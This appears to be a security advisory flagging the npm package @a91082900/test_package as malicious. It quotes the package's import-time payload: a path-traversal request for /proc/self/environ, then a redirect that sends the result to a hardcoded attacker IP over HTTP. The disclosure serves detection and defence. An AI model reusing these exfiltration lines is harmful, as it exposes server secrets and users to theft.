MAL-2026-3680
Dashboard / Malicious Package / MAL-2026-3680
MAL-2026-3680
Summary: Malicious code in @a91082900/test_package (npm)
Details: Source: amazon-inspector (b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254) The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues `fetch('/api/notes?id=/self/proc/environ')` and then assigns `top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data)`, relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read `/proc/self/environ` together leave no benign interpretation.
Affected packages
Package
Name: @a91082900/test_package
Purl: pkg:npm/%40a91082900/test_package
Affected ranges
Type: N/A
Events:
